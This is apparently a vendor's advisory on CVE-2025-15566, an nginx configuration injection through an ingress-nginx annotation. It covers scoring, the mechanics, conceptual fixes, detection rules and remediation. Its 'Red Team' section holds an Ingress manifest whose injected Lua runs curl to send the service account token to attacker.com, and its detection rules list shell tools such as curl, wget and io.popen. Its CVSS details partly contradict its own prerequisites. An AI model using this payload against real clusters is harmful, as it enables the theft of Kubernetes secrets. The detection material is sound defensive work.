CVE-2025-15566
Executive Summary
CVE-2025-15566 is a critical security vulnerability in the ingress-nginx Kubernetes ingress controller. The flaw resides in the handling of the nginx.ingress.kubernetes.io/auth-proxy-set-headers annotation, which allows an attacker to inject arbitrary nginx configuration directives. This injection can lead to remote code execution (RCE) within the ingress-nginx controller pod and unauthorized disclosure of any Secrets that the controller has access to. In a default installation, the controller has cluster-wide Secret read access, making this a high-impact vulnerability. The CVSS score is 8.8 (High), and while no public exploit code or proof-of-concept is currently available, the attack vector is network-based, requires no authentication, and has low complexity.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 8.8 (High)
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low (L) – No special conditions or complex steps are required.
- Privileges Required (PR): None (N) – No authentication is needed to exploit.
- User Interaction (UI): None (N) – No user action is required.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Complete disclosure of all Secrets accessible to the controller.
- Integrity (I): High (H) – Arbitrary nginx configuration injection can modify system behavior.
- Availability (A): High (H) – An attacker could cause denial of service or crash the controller.
Threat Level: Critical. The combination of network exploitability, low complexity, no required privileges, and the potential for cluster-wide Secret exfiltration makes this a top-priority vulnerability for any organization using ingress-nginx.
Deep Dive & Mechanics
The vulnerability exists in how ingress-nginx processes the nginx.ingress.kubernetes.io/auth-proxy-set-headers annotation. This annotation is intended to allow users to set custom headers for authentication proxy requests. However, due to insufficient sanitization, an attacker can inject arbitrary nginx configuration directives by crafting a malicious annotation value.
Attack Flow:
- An attacker with the ability to create or modify an Ingress resource (e.g., via a compromised Kubernetes service account or a vulnerable admission controller) sets the
nginx.ingress.kubernetes.io/auth-proxy-set-headersannotation to a value containing nginx configuration syntax. - The ingress-nginx controller reads this annotation and, without proper validation, directly incorporates it into the generated nginx configuration file.
- The injected configuration can include directives such as
proxy_pass,set,access_by_lua_block, orcontent_by_lua_block, enabling arbitrary code execution via Lua scripting. - The attacker can then execute arbitrary commands within the controller pod, which has access to all Secrets in the cluster (by default).
- Secrets are exfiltrated via DNS, HTTP, or other outbound channels.
Root Cause: Lack of input validation and sanitization for the annotation value. The controller should treat the annotation as a list of header names/values, not as raw nginx configuration.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// Insecure: directly appends annotation value to nginx config
func generateAuthProxyConfig(ingress *networkingv1.Ingress) string {
headers := ingress.Annotations["nginx.ingress.kubernetes.io/auth-proxy-set-headers"]
// No sanitization
return fmt.Sprintf("proxy_set_header %s;", headers)
}
Patched Code (Conceptual):
// Secure: validates and sanitizes header values
func generateAuthProxyConfig(ingress *networkingv1.Ingress) string {
headers := ingress.Annotations["nginx.ingress.kubernetes.io/auth-proxy-set-headers"]
// Validate that headers is a valid JSON or key=value format
if !isValidHeaderFormat(headers) {
return ""
}
// Escape or reject any nginx control characters
safeHeaders := sanitizeNginxConfig(headers)
return fmt.Sprintf("proxy_set_header %s;", safeHeaders)
}
Note: Since no official patch is available, the above is a best-practice mitigation approach.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Ability to create or modify an Ingress resource in a Kubernetes cluster running a vulnerable ingress-nginx version.
- Network access to the ingress-nginx controller (usually exposed via a LoadBalancer or NodePort).
Exploitation Steps:
- Create a malicious Ingress resource with the vulnerable annotation:
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: malicious-ingress
annotations:
nginx.ingress.kubernetes.io/auth-proxy-set-headers: |
"X-Custom";
set $evil "test";
access_by_lua_block {
local handle = io.popen("curl http://attacker.com/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64)")
local result = handle:read("*a")
handle:close()
}
spec:
ingressClassName: nginx
rules:
- host: evil.example.com
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: some-service
port:
number: 80
- Apply the Ingress to the cluster:
kubectl apply -f malicious-ingress.yaml - The ingress-nginx controller will reload its configuration, executing the injected Lua code.
- The attacker receives the service account token and can then use it to access the Kubernetes API and exfiltrate Secrets.
Note: No public exploit code is available; this is a conceptual demonstration.
Blue Team (Detection & Hardening)
Detection:
- Monitor for Ingress resources with suspicious annotations, especially those containing
lua_block,proxy_pass, or shell commands. - Use admission controllers (e.g., OPA/Gatekeeper) to deny Ingress resources with non-standard annotation values.
- Enable audit logging for Ingress resource creation/modification.
Hardening:
- Restrict who can create or modify Ingress resources using RBAC.
- Use a Web Application Firewall (WAF) to inspect traffic to the ingress controller.
- Apply the principle of least privilege to the ingress-nginx controller's ServiceAccount (do not grant cluster-wide Secret access).
- Consider using a network policy to limit egress from the ingress-nginx controller pod.
Indicators of Compromise (IOCs)
- Network:
- Outbound connections from the ingress-nginx controller pod to unknown external IPs/domains.
- DNS queries for suspicious domains from the controller pod.
- File System:
- Unexpected files in the controller pod's
/etc/nginxdirectory. - Modified nginx configuration files containing
lua_blockorproxy_passto external hosts.
- Unexpected files in the controller pod's
- Kubernetes API:
- Ingress resources with annotations containing
lua_block,set, orproxy_pass. - Unusual API calls from the ingress-nginx controller's service account.
- Ingress resources with annotations containing
- Logs:
- Nginx error logs showing Lua execution errors or unexpected configuration reloads.
- Kubernetes audit logs showing Ingress creation/modification by unauthorized users.
Detection Engineering
YARA Rule
rule ingress_nginx_auth_proxy_injection {
meta:
description = "Detects malicious nginx configuration injection via auth-proxy-set-headers annotation"
author = "Valters IT"
date = "2025-03-01"
reference = "CVE-2025-15566"
strings:
$lua_block = /access_by_lua_block|content_by_lua_block|rewrite_by_lua_block/i
$proxy_pass = /proxy_pass\s+http:\/\//i
$set_directive = /set\s+\$[a-zA-Z_]+\s+/i
$shell_cmd = /io\.popen|os\.execute|curl|wget/i
condition:
any of ($lua_block, $proxy_pass, $set_directive, $shell_cmd)
}
Sigma Rule
title: Ingress-nginx Auth Proxy Header Injection
id: 8f4b3c2a-1d5e-4f7b-9a0c-3e6d8b2f1a4c
status: experimental
description: Detects attempts to exploit CVE-2025-15566 via malicious Ingress annotations
author: Valters IT
date: 2025-03-01
logsource:
product: kubernetes
service: audit
detection:
selection:
objectRef.resource: "ingresses"
verb: "create" or "update"
requestObject.metadata.annotations|contains: "nginx.ingress.kubernetes.io/auth-proxy-set-headers"
keywords:
- "lua_block"
- "proxy_pass"
- "io.popen"
- "os.execute"
condition: selection and keywords
falsepositives:
- Legitimate use of Lua scripting in nginx (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-15566 Ingress-nginx Auth Proxy Header Injection"; flow:to_server; content:"nginx.ingress.kubernetes.io/auth-proxy-set-headers"; http_header; pcre:"/(lua_block|proxy_pass|io\.popen)/i"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: If a patched version becomes available, upgrade ingress-nginx immediately.
- Workaround: Disable the
auth-proxy-set-headersannotation by using an admission webhook or OPA policy to reject any Ingress that uses it. - Restrict Permissions: Limit the ingress-nginx controller's ServiceAccount to only access Secrets in specific namespaces, not cluster-wide.
- Network Segmentation: Apply egress network policies to the ingress-nginx controller pod to block outbound connections to untrusted destinations.
Long-term Measures:
- Implement a Kubernetes admission controller (e.g., OPA/Gatekeeper, Kyverno) to validate Ingress annotations against a whitelist of allowed values.
- Regularly audit Ingress resources for suspicious annotations.
- Monitor CVE feeds for official patches and apply them promptly.
Valters IT Signature: This report was generated by Valters IT DevSecOps Intelligence. For further analysis or remediation assistance, contact your Valters IT representative.